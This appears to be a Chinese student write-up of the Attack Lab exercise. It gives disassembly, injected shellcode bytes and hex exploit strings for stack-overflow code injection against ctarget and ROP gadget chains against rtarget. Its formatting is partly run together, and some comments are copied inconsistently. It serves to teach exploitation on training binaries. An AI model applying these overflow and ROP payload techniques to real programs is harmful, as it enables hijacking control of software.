Attack Lab

参考手册

一共六个文件

  • cookie.txt 一个8位16进制数,作为攻击的特殊标志符

  • farm.cROP攻击中作为gadgets的产生源

  • ctarget 代码注入攻击的目标文件

  • rtarget ROP攻击的目标文件

  • hex2row 将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符

Level 1

对于第一阶段,我们并不需要进行代码注入,我们需要做的就是劫持程序流,将函数的正常返回地址给重写,将函数重定向到我们指定的特定函数。在这个阶段中,我们要重定向到touch1函数。

首先利用objdump -d ctarget > ctarget_asm得到ctarget的汇编代码文件

0000000000401968 :  401968:       48 83 ec 08             sub    $0x8,%rsp    ; 扩展栈空间  40196c:       b8 00 00 00 00          mov    $0x0,%eax      401971:       e8 32 fe ff ff          callq  4017a8    ; test函数中调用了getbuf  401976:       89 c2                   mov    %eax,%edx; edx = eax  401978:       be 88 31 40 00          mov    $0x403188,%esi    40197d:       bf 01 00 00 00          mov    $0x1,%edi  401982:       b8 00 00 00 00          mov    $0x0,%eax  401987:       e8 64 f4 ff ff          callq  400df0  ; 调用 printf 打印信息  40198c:       48 83 c4 08             add    $0x8,%rsp  401990:       c3                      retq  401991:       90                      nop00000000004017a8 :  4017a8:       48 83 ec 28             sub    $0x28,%rsp   ; 扩展栈空间40字节  分配了四十个字节的栈帧  4017ac:       48 89 e7                mov    %rsp,%rdi    ; rdi = rsp  4017af:       e8 8c 02 00 00          callq  401a40  ; 调用Gets函数  rdi为该函数的第一个参数  4017b4:       b8 01 00 00 00          mov    $0x1,%eax    ; eax = 1  函数返回1  4017b9:       48 83 c4 28             add    $0x28,%rsp     4017bd:       c3                      retq  4017be:       90                      nop  4017bf:       90                      nop00000000004017c0 :   ; touch1的返回地址为0x4017c0  4017c0:       48 83 ec 08             sub    $0x8,%rsp  4017c4:       c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc   4017cb:       00 00 00  4017ce:       bf c5 30 40 00          mov    $0x4030c5,%edi  4017d3:       e8 e8 f4 ff ff          callq  400cc0   4017d8:       bf 01 00 00 00          mov    $0x1,%edi  4017dd:       e8 ab 04 00 00          callq  401c8d   4017e2:       bf 00 00 00 00          mov    $0x0,%edi  4017e7:       e8 54 f6 ff ff          callq  400e40 

touch1的地址为0x4017c0,这里我们选择将输入的数据写到ctarget1.txt文件中,用hex2raw来生成字节码,

00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00        先用垃圾数据覆盖40个字节的栈空间c0 17 40 00 00 00 00 00   最后填入touch1的地址来覆盖getbuf()函数的返回地址   注意x86_64是小端序存储

执行命令./hex2raw < ctarget1.txt | ./ctarget -q

  • ./hex2raw < ctarget01.txt是利用hex2raw工具将我们的输入看作字节级的十六进制表示进行转化,用来生成攻击字符串
  • |表示管道,将转化后的输入文件作为ctarget的输入参数
  • 由于执行程序会默认连接 CMU 的服务器,-q表示取消这一连接

可以看到第一关就通过了:

Level 2

第二阶段,我们需要做的就是在输入字符串中注入一小段代码。其实整体的流程还是getbuf中输入字符,然后拦截程序流,跳转到调用touch2函数。首先,我们先查看一遍touch2函数所做事情:level2需要调用的touch2函数有一个unsighed型的参数,而这个参数就是lab提供的cookie。所以,这次我们在rettouch2之前,需要先把cookie放在寄存器%rdi中(第一个参数通过%rdi传递)。

00000000004017ec :  4017ec:       48 83 ec 08             sub    $0x8,%rsp  4017f0:       89 fa                   mov    %edi,%edx  4017f2:       c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc   4017f9:       00 00 00  4017fc:       3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4   401802:       75 20                   jne    401824   401804:       be e8 30 40 00          mov    $0x4030e8,%esi  401809:       bf 01 00 00 00          mov    $0x1,%edi  40180e:       b8 00 00 00 00          mov    $0x0,%eax  401813:       e8 d8 f5 ff ff          callq  400df0   401818:       bf 02 00 00 00          mov    $0x2,%edi  40181d:       e8 6b 04 00 00          callq  401c8d   401822:       eb 1e                   jmp    401842   401824:       be 10 31 40 00          mov    $0x403110,%esi  401829:       bf 01 00 00 00          mov    $0x1,%edi  40182e:       b8 00 00 00 00          mov    $0x0,%eax  401833:       e8 b8 f5 ff ff          callq  400df0   401838:       bf 02 00 00 00          mov    $0x2,%edi  40183d:       e8 0d 05 00 00          callq  401d4f   401842:       bf 00 00 00 00          mov    $0x0,%edi  401847:       e8 f4 f5 ff ff          callq  400e40 void touch2(unsigned val){    vlevel = 2;    if (val == cookie){        printf("Touch2!: You called touch2(0x%.8x)\n", val);        validate(2);    } else {        printf("Misfire: You called touch2(0x%.8x)\n", val);        fail(2);    }    exit(0);}
  • 将正常的返回地址设置为你注入代码的地址,本次注入直接在栈顶注入,所以即返回地址设置为%rsp的地址
  • cookie值移入到%rdi%rdi是函数调用的第一个参数
  • 获取touch2的起始地址
  • 想要调用touch2,而又不能直接使用call,jmp等指令,所以只能使用ret改变当前指令寄存器的指向地址。ret是从栈上弹出返回地址,所以在此之前必须先将touch2的地址压栈

注意此程序gdb的使用,不能直接gdb ctarget,需要先输入gdb,然后利用file ctarget打开对应的文件,或者gdb ctarget,然后下断点b getbuf,然后输入run -q

首先将我们要注入的指令写在level2_exp.s中,0x59b997fa就是cookie.txt中的值

movq $0x59b997fa, %rdipushq $0x4017ecret

然后将.s文件转换成计算机可执行的指令系列gcc -c level2_exp.s,查看level2_exp.o文件的反汇编

level2_exp.o:     file format elf64-x86-64Disassembly of section .text:0000000000000000 :   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi   7:   68 ec 17 40 00          pushq  $0x4017ec     push指令先sub 8, %rsp 然后 movq $0x4017ec, %rsp   c:   c3                      retq                 ret指令 pop %eip,此时rsp存储的就是touch2的地址,就跳转到了touch2

将对应的机器指令写在level2_exp.txt中,这里解释一下,push指令后跟寄存器,表示将寄存区的值存储到rsp指向的内存单元中,push imm表示将立即数存放到rsp中而不是它所指的内存单元。

push 1 相当于 mov M[esp], 1 sub esp, 4 push ebp 相当于 mov M[esp], ebp sub esp, 4
call func 相当于 push 0x40117e(eip+硬编码长度) push指令又会将esp – 4

然后我们需要获取%rsp的地址,为什么要获取%rsp呢,因为此关我们是通过向栈中写入我们注入指令的指令序列,在栈的开始位置为注入代码的指令序列,然后填充满至40个字节,在接下来的8个字节,也就是原来的返回地址,填充成注入代码的起始地址,也就是%rsp的地址,整个流程就是: getbuf => ret => 0x5561dc78 => mov $0x59b997fa, %rdi => ret => 0x4017ec

rsp保存的是test栈帧的返回地址,上面是高地址所以我们要注入的指令如下,注意小端序,

48 c7 c7 fa 97 b9 59 68 ec 1740 00 c3 00 00 00 00 00 00 00  前面的字节时我们注入的  之后用垃圾数据填充栈中剩余的字节00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00   40字节   4 * 1078 dc 61 55 00 00 00 00 00 00   0x5561dc78 即为我们要返回的我们注入的字节的地址  即执行 sub rsp,0x28后的结果

最后执行./hex2raw < level2_exp.txt | ./ctarget -q即可通过level2

Level 3

00000000004018fa :  4018fa:       53                      push   %rbx  4018fb:       48 89 fb                mov    %rdi,%rbx  4018fe:       c7 05 d4 2b 20 00 03    movl   $0x3,0x202bd4(%rip)        # 6044dc   401905:       00 00 00  401908:       48 89 fe                mov    %rdi,%rsi  40190b:       8b 3d d3 2b 20 00       mov    0x202bd3(%rip),%edi        # 6044e4   401911:       e8 36 ff ff ff          callq  40184c           # 调用了 hexmatch  401916:       85 c0                   test   %eax,%eax  401918:       74 23                   je     40193d  # 如果不匹配的话 跳转到 0x40193d  40191a:       48 89 da                mov    %rbx,%rdx  40191d:       be 38 31 40 00          mov    $0x403138,%esi  401922:       bf 01 00 00 00          mov    $0x1,%edi  401927:       b8 00 00 00 00          mov    $0x0,%eax  40192c:       e8 bf f4 ff ff          callq  400df0   401931:       bf 03 00 00 00          mov    $0x3,%edi  401936:       e8 52 03 00 00          callq  401c8d   40193b:       eb 21                   jmp    40195e   40193d:       48 89 da                mov    %rbx,%rdx  401940:       be 60 31 40 00          mov    $0x403160,%esi  401945:       bf 01 00 00 00          mov    $0x1,%edi  40194a:       b8 00 00 00 00          mov    $0x0,%eax  40194f:       e8 9c f4 ff ff          callq  400df0   401954:       bf 03 00 00 00          mov    $0x3,%edi  401959:       e8 f1 03 00 00          callq  401d4f   40195e:       bf 00 00 00 00          mov    $0x0,%edi  401963:       e8 d8 f4 ff ff          callq  400e40 void touch3(char *sval){    vlevel = 3;    if (hexmatch(cookie, sval)){        printf("Touch3!: You called touch3(\"%s\")\n", sval);        validate(3);    } else {        printf("Misfire: You called touch3(\"%s\")\n", sval);        fail(3);    }    exit(0);}000000000040184c :  40184c:       41 54                   push   %r12  40184e:       55                      push   %rbp  40184f:       53                      push   %rbx  401850:       48 83 c4 80             add    $0xffffffffffffff80,%rsp  # 其实是-0x80的补码 相当于开辟了128字节空间  401854:       41 89 fc                mov    %edi,%r12d  401857:       48 89 f5                mov    %rsi,%rbp  40185a:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax  401861:       00 00  401863:       48 89 44 24 78          mov    %rax,0x78(%rsp)  401868:       31 c0                   xor    %eax,%eax  40186a:       e8 41 f5 ff ff          callq  400db0   40186f:       48 89 c1                mov    %rax,%rcx  401872:       48 ba 0b d7 a3 70 3d    movabs $0xa3d70a3d70a3d70b,%rdx  401879:       0a d7 a3  40187c:       48 f7 ea                imul   %rdx  40187f:       48 01 ca                add    %rcx,%rdx  401882:       48 c1 fa 06             sar    $0x6,%rdx  401886:       48 89 c8                mov    %rcx,%rax  401889:       48 c1 f8 3f             sar    $0x3f,%rax  40188d:       48 29 c2                sub    %rax,%rdx  401890:       48 8d 04 92             lea    (%rdx,%rdx,4),%rax  401894:       48 8d 04 80             lea    (%rax,%rax,4),%rax  401898:       48 c1 e0 02             shl    $0x2,%rax  40189c:       48 29 c1                sub    %rax,%rcx  40189f:       48 8d 1c 0c             lea    (%rsp,%rcx,1),%rbx  4018a3:       45 89 e0                mov    %r12d,%r8d  4018a6:       b9 e2 30 40 00          mov    $0x4030e2,%ecx  4018ab:       48 c7 c2 ff ff ff ff    mov    $0xffffffffffffffff,%rdx  4018b2:       be 01 00 00 00          mov    $0x1,%esi  4018b7:       48 89 df                mov    %rbx,%rdi  4018ba:       b8 00 00 00 00          mov    $0x0,%eax  4018bf:       e8 ac f5 ff ff          callq  400e70   4018c4:       ba 09 00 00 00          mov    $0x9,%edx  4018c9:       48 89 de                mov    %rbx,%rsi  4018cc:       48 89 ef                mov    %rbp,%rdi  4018cf:       e8 cc f3 ff ff          callq  400ca0   # 调用 strncmp 函数比较字符串  4018d4:       85 c0                   test   %eax,%eax  4018d6:       0f 94 c0                sete   %al  4018d9:       0f b6 c0                movzbl %al,%eax  4018dc:       48 8b 74 24 78          mov    0x78(%rsp),%rsi  4018e1:       64 48 33 34 25 28 00    xor    %fs:0x28,%rsi  4018e8:       00 00  4018ea:       74 05                   je     4018f1   4018ec:       e8 ef f3 ff ff          callq  400ce0   4018f1:       48 83 ec 80             sub    $0xffffffffffffff80,%rsp  # 这里相当于将 rsp减去了一个数   4018f5:       5b                      pop    %rbx  4018f6:       5d                      pop    %rbp  4018f7:       41 5c                   pop    %r12  4018f9:       c3                      retqint hexmatch(unsigned val, char *sval){    char cbuf[110];  //     char *s = cbuf + random() % 100;  // 这句代码说明了 s 的位置是随机的  所以我们不应该把我们输入的shellcode放在hexmatch的栈帧中,应该将其放在父栈帧中,也就是test栈帧    sprintf(s, "%.8x", val);    return strncmp(sval, s, 9) == 0;}

和Level 2 一样touch3也需要传入cookie但是要求以字符串的形式传入。和Level 2的区别是touch3的参数是cookie的字符串地址, 寄存器%rdi存储cookie字符串的地址。所以我们还需要将Cookie的内容存到指定的内存地址,字符串存到内存中都是以ASCII码形式存储的,所以需要将Cookie的值0x59b997fa转为ASCII

Some Advice

  • 在C语言中字符串是以\0结尾,所以在字符串序列的结尾是一个字节0

  • man ascii 可以用来查看每个字符的16进制表示

  • 当调用hexmatchstrncmp时,他们会把数据压入到栈中,有可能会覆盖getbuf栈帧的数据,所以传进去字符串的位置必须小心谨慎。

  • 对于传进去字符串的位置,如果放在getbuf栈中,由于char *s = cbuf + random() % 100;s的位置是随机的,且hexmatch函数申请了0x80字节的栈空间,所以之前留在getbuf中的数据,则有可能被hexmatch所重写,所以放在getbuf中并不安全。为了安全起见,我们把字符串放在getbuf的父栈帧中,放在不被getbuf影响的栈帧中,也就是test栈帧中。

解题思路:

  • cookie字符串转化为16进制 35 39 62 39 39 37 66 61 00,末尾是\0

  • 将字符串的地址传送到%rdi中,但是字符串地址怎么确定呢?首先可以看到getbuf中没有执行sub rsp, 0x28rsp=0x5561dca0,我们要将字符串存储到rsp + 8的位置,存储到父栈帧中

    test的栈帧如下,就是ca8,可以把字符串的地址放在test的栈帧中。

  • 和第二阶段一样,想要调用touch3函数,则先将touch3函数的地址压栈,然后调用ret指令。

movq $0x5561dca8, %rdi  ; 字符串地址  这里不能写 cookie对应的16进制表示了pushq $4018fa           ; touch3 地址ret0000000000000000 :   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi   7:   68 fa 18 40 00          pushq  $0x4018fa   c:   c3                      retq上面三条指令的序列为 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3所以我们构造的指令字节序列为  将字符串的字节码存放在getbuf的父栈帧中  从低地址向高地址覆盖  覆盖完返回地址后  再+8填入字符串48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00    # 攻击的指令字节码00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00    # 到这里就是 getbuf 的rsp了   78 dc 61 55 00 00 00 00    # 注入指令首地址  ret 的返回地址35 39 62 39 39 37 66 61 00 # 攻击的指令中给出的字符串的地址为 rsp + 0x8 的位置  需要刚好在这里

最后验证结果,./hex2raw < level3_exp.txt | ./ctarget -q

Return Oriented Programming

缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式。

Performing code-injection attacks on program RTARGET is much more difficult than it is for CTARGET, because it uses two techniques to thwart such attacks:

  • It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located. 开启了PIE 保护(栈随机化)
  • It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault. 开启了NX保护(栈中数据不可执行)
  • 此外,还有一种栈保护,如果栈中开启Canary found,金丝雀值,在栈返回的地址前面加入一段固定数据,栈返回时会检查该数据是否改变。那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过

The strategy with ROP is to identify byte sequences within an existing program that consist of one or more instructions followed by the instruction ret. Such a segment is referred to as a gadget

ROP其实就是利用已存在的代码执行出我们想要的效果,如下图所示,分为多个gadget,每一个gadget都是一段指令序列,最后以ret指令(0xc3)结尾,多个gadget中的指令形成一条利用链,一个gadget可以利用编译器生成的对应于汇编语言的代码,事实上,可能会有很多有用的gadgets,但是还不足以实现一些重要的操作,比如正常的指令序列是不会在ret 指令前出现pop %edi指令的。幸运的是,在一个面向字节的指令集,比如x86-64,通常可以通过从指令字节序指令的其他部分提取出我们想要的指令。

下面举个例子来详细说明ROP与之前的Buffer overflow有什么区别,我们不关心栈地址在哪,只需要看有没有可以利用的指令

我们可以在程序的汇编代码中找到这样的代码:

0000000000400f15 :400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)400f1b: c3 retq

这段代码的本意是

void setval_210(unsigned *p){    *p = 3347663060U;}

这样一个函数,但是通过观察我们可以发现,汇编代码的最后部分:48 89 c7 c3又可以代表

movq %rax, %rdiret

这两条指令(指令的编码可以见讲义中的附录)。

第1行的movq指令可以作为攻击代码的一部分来使用,那么我们怎么去执行这个代码呢?我们知道这个函数的入口地址是0x400f15,这个地址也是这条指令的地址。我们可以通过计算得出48 89 c7 c3这条指令的首地址是0x400f18,我们只要把这个地址存放在栈中,在执行ret指令的时候就会跳转到这个地址,执行48 89 c7 c3编码的指令。同时,我们可以注意到这个指令的最后是c3编码的是ret指令,利用这一点,我们就可以把多个这样的指令地址依次放在栈中,每次ret之后就会去执行栈中存放的下一个地址指向的指令,只要合理地放置这些地址,我们就可以执行我们想要执行的命令从而达到攻击的目的。

Level 2

For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your gadget farm. You can construct your solution using gadgets consisting of the following instruction types, and using only the first eight x86-64 registers (%rax–%rdi).

在这一阶段中,我们其实是重复代码注入攻击中第二阶段的任务,劫持程序流,返回到touch2函数。只不过这个我们要做的是ROP攻击,这一阶段我们无法再像上一阶段中将指令序列放入到栈中,所以我们需要到现有的程序中,找到我们需要的指令序列。

下面是一些常见指令的指令码

  • movq : The codes for these are shown in Figure 3A.
  • popq : The codes for these are shown in Figure 3B.
  • ret : This instruction is encoded by the single byte 0xc3.
  • nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single byte 0x90. Its only effect is to cause the program counter to be incremented by 1

Some Advice

  • All the gadgets you need can be found in the region of the code for rtarget demarcated(划定) by the functions start_farm and mid_farm,所以需要用到的gadgets都可以在rtargetstart_farmmid_farm之间找到
  • You can do this attack with just two gadgets.
  • When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit string will contain a combination of gadget addresses and data.

一些常见指令对应的机器码,movqpopqmovlnop(2 Bytes)

首先来回顾一下Level 2中我们要做什么,需要返回到touch2函数中,不过这一次我们要做的是ROP攻击,不能直接将指令注入到栈中

void touch2(unsigned val){    vlevel = 2;    if (val == cookie){        printf("Touch2!: You called touch2(0x%.8x)\n", val);        validate(2);    } else {        printf("Misfire: You called touch2(0x%.8x)\n", val);        fail(2);    }    exit(0);}

rtarget程序做保护检查,可以看到该程序开启了多种保护,导致我们之前的方法显然是不可行的

现在我们无法使用栈来存放代码,但是我们仍可以设置栈中的内容。不能注入代码去执行,我们还可以利用程序中原有的代码,利用ret指令跳转的特性,去执行程序中已经存在的指令。考虑我们需要利用的指令,然后去寻找对应的gadget,我们需要将Cookie的值存到rdi中,多种方法可以解决,首先来看一种最容易想到的

一条指令就可以实现我们想实现的操作pop rdi,当然我们需要保证pop指令执行时rsp中存储的刚好是59b997fa即Cookie的值

下面我们要做的就是找到存放pop rdi这一指令的地址,由上面的指令对应的机器码,可以找到popq rdi对应机器码0x5f,首先利用将rtarget反汇编,,objdump -d rtarget > gadget存放在farm.c中,我们编译后再反汇编得到汇编指令及其对应的地址,查找0x5f

402b14:>--41 5d                >--pop    %r13402b16:>--41 5e                >--pop    %r14402b18:>--41 5f                >--pop    %r15  ; 这里找到了 5f 对应的即为 pop rdi  记录下地址 402b18402b1a:>--c3                   >--retq

那么我们要找的gadget就有了,覆盖栈中返回地址为402b19即可,注意前面的41没用,首先原函数的返回地址变为了popq edi的地址,然后就会执行pop rdi指令,上一条指令执行完后rsp + 8,我们只需要将59b997fa填充到402b19的下面就可以了,此时就执行了popq rdi操作,最后一行填充touch2的地址4017ec,具体如下

00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0019 2b 40 00 00 00 00 00   ; popq rdi指令所在地址  这里原本是 ret 现在相当于 ret 19 2b 40,相当于调用了0x402b19处指令fa 97 b9 59 00 00 00 00   ; Cookie的值 pop 指令会使rsp+8,上面的地址最后也会有c3,ec 17 40 00 00 00 00 00   ; touch2函数的地址

输入./hex2raw -i ROP1.txt | ./ctarget -q,结果如下,好像不够完美,虽然调用了touch2函数,但程序出现了段错误

第二种解法:我们需要的gadgets

popq %raxmovq %rax, %rdi

首先找popq eax指令的机器码,对应的是0x58,下面4019a7处前面的指令没用,我们需要填入的地址为4019ab

00000000004019a7 :   4019a7:8d 87 51 73 58 90    lea    -0x6fa78caf(%rdi),%eax  4019ad:c3                   retq  

下一步movq %rax, %rdi的机器码为48 89 c7,找对应的指令所在地址,如下,对应指令起始地址为4019a2

00000000004019a0 :  4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax  4019a6: c3  

注意在popq rax指令地址的下面需要填充上Cookie的值,然后在movq %rax, %rdi指令地址的下面填充touch2函数的地址

00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00ab 19 40 00 00 00 00 00    ; popq %rax  这里原本是 ret 现在相当于 ret 19 2b 40,相当于调用了0x402b19处指令 fa 97 b9 59 00 00 00 00    ; Cookie的值  上面的指令执行完后 rsp+8  指向现在的地址  然后 pop %rax相当于movq cookir,%raxa2 19 40 00 00 00 00 00    ; movq %rax, %rdi   pop 指令执行完后也会 rsp+8 且每个gadget最后都是以c3结尾的ec 17 40 00 00 00 00 00    ; touch2地址

然后就可以看见PASS掉了

Level 3

在这一阶段中,我们需要做的就是把字符串的起始地址,传送到%rdi,然后调用touch3函数。

因为每次栈的位置是随机的,所以无法直接用地址来索引字符串的起始地址,只能用栈顶地址 + 偏移量来索引字符串的起始地址。从farm中我们可以获取到这样一个gadget,相加操作只能对rsirdi进行,我们想得到栈顶地址 + 偏移,只能将栈顶内容存到rdilea (%rdi,%rsi,1),%rax,这样就可以把字符串的首地址传送到%rax,将栈顶指针rsp的值赋给rdirsi寄存器表示字符串的偏移量只要能够让%rdi和%rsi其中一个保存%rsp,另一个保存从stack中pop出来的偏移值,就可以表示Cookie存放的地址,然后把这个地址mov%rdi就大功告成了。从%rax并不能直接mov%rsi,而只能通过%rax->%rdx->%rcx->%rsi来完成这个。

解题思路:

  • 首先获取到%rsp的地址,并且传送到%rdi

  • 其二获取到字符串的偏移量值,并且传送到%rsi

  • lea (%rdi,%rsi,1),%rax, 将字符串的首地址传送到%rax, 再传送到%rdi

  • 调用touch3函数

  • 第一步:获取到%rsp的地址,寻找gadgetmovq %rsp, %rax,其对应的机器码为48 89 e0

0000000000401a03 :
401a03:>–8d 87 41 48 89 e0 >–lea 0x1f76b7bf(%rdi),%eax ;目标gadget地址为0x401a06
401a09:>–c3 >–retq

+ 第二步:将`rax`的值传送到`rdi`,暂存`rax`的值,找`gadget`为`movq %rax, %rdi`,机器码为`48 89 c7````asm00000000004019a0 :4019a0:>--8d 87 48 89 c7 c3    >--lea    0x3c3876b8(%rdi),%eax    ; 目标gadget地址为0x4019a2          4019a6:>--c3                   >--retq
  • 第三步:将偏移量的内容弹出到rax,即popq %rax,对应机器码 58,在这条指令下面写上偏移量48

    00000000004019ca :4019ca: b8 29 58 90 c3        mov    $0xc3905829,%eax  ; 地址为0x4019cc  90为nop指令4019cf: c3   
  • 第四步:eax的值存储到edxmovq %eax, %edx,对应机器码89 c2,如果是rax就是48 89 c2

    00000000004019db :4019db: b8 5c 89 c2 90        mov    $0x90c2895c,%eax  ; 4019dd4019e0: c3    
  • 第五步:edx的值存储到ecx,对应机器码89 d1

    00000000004019f6 :4019f6:>--b8 89 d1 48 c0       >--mov    $0xc048d189,%eax ; 4019f74019fb:>--c3                   >--retq---
  • 第六步:将ecx寄存器的内容传送到 %esiecx寄存器存储的就是偏移量),机器码89 ce

    00000000004019e8 :4019e8:>--8d 87 89 ce 78 c9    >--lea    -0x36873177(%rdi),%eax ; 4019ea4019ee:>--c3                   >--retq---
  • 第七步,将栈顶 + 偏移量得到字符串的首地址传送到%raxgadget地址为0x4019d6

    00000000004019d6 :4019d6: 48 8d 04 37           lea    (%rdi,%rsi,1),%rax  ; 0x4019d64019da: c3                    retq 
  • 第八步:将字符串首地址%rax传送到%rdi,机器码48 89 c7

    00000000004019a0 :4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax ; 4019a24019a6: c3

整个栈结构如下

综上所述,我们可以得到字符串首地址和返回地址之前隔了9条指令,所以偏移量为72个字节,也就是0x48,可以的到如下字符串的输入

先将偏移量保存到rsi中,再保存rsp00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # 前0x28个字符填充0x00cc 19 40 00 00 00 00 00 # popq %rax20 00 00 00 00 00 00 00 # 偏移量   42 1a 40 00 00 00 00 00 # movl %eax,%edx69 1a 40 00 00 00 00 00 # movl %edx,%ecx27 1a 40 00 00 00 00 00 # movl %ecx,%esi  rsi为0x2006 1a 40 00 00 00 00 00 # movq %rsp,%rax  rax = rspc5 19 40 00 00 00 00 00 # movq %rax,%rdid6 19 40 00 00 00 00 00 # add_xy  指令 lea    (%rdi,%rsi,1),%rax c5 19 40 00 00 00 00 00 # movq %rax,%rdifa 18 40 00 00 00 00 00 # touch3地址35 39 62 39 39 37 66 61 # 目标字符串00 00 00 00 00 00 00 00 先保存rsp,再将偏移量保存到rsi中(eax-->edx-->ecx-->esi)00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # 前0x28个字符填充0x0006 1a 40 00 00 00 00 00 # movq %rsp, %rax   在这里就保存了rsp的值  所以与上面的偏移不同a2 19 40 00 00 00 00 00 # movq %rax, %rdicc 19 40 00 00 00 00 00 # popq %rax48 00 00 00 00 00 00 00 # 偏移量 0x48 即 8*9=72个字节 返回地址与Cookie首地址相差 9条指令dd 19 40 00 00 00 00 00 # movq %eax, %edx  注意这里是32位  尝试rax,没有movq rax,rdx的gadgetf7 19 40 00 00 00 00 00 # movq %edx, %ecx       401a70才可以通过  401a70 或者 401a34 但是4019f7不可以通过 ea 19 40 00 00 00 00 00 # movq %ecx, %esid6 19 40 00 00 00 00 00 # lea  (%rdi,%rsi,1),%rax 将栈顶 + 偏移量得到字符串的首地址传送给 raxa2 19 40 00 00 00 00 00 # movq %rax, %rdi  传入touch3中的参数  即Cookie字符串的首地址fa 18 40 00 00 00 00 00 # touch3地址35 39 62 39 39 37 66 61 00# 目标字符串 975 00000000004019f6 :   FAIL 976   4019f6:>--b8 89 d1 48 c0       >--mov    $0xc048d189,%eax 977   4019fb:>--c3                   >--retq--- 1011 0000000000401a33 :  可以PASS1012   401a33:>--b8 89 d1 38 c9       >--mov    $0xc938d189,%eax                                                   1013   401a38:>--c3                   >--retq---1043 0000000000401a68 :  FAIL1044   401a68:>--b8 89 d1 08 db       >--mov    $0xdb08d189,%eax1045   401a6d:>--c3                   >--retq--- 1047 0000000000401a6e :   PASS1048   401a6e:>--c7 07 89 d1 91 c3    >--movl   $0xc391d189,(%rdi)1049   401a74:>--c3                   >--retq---

执行结果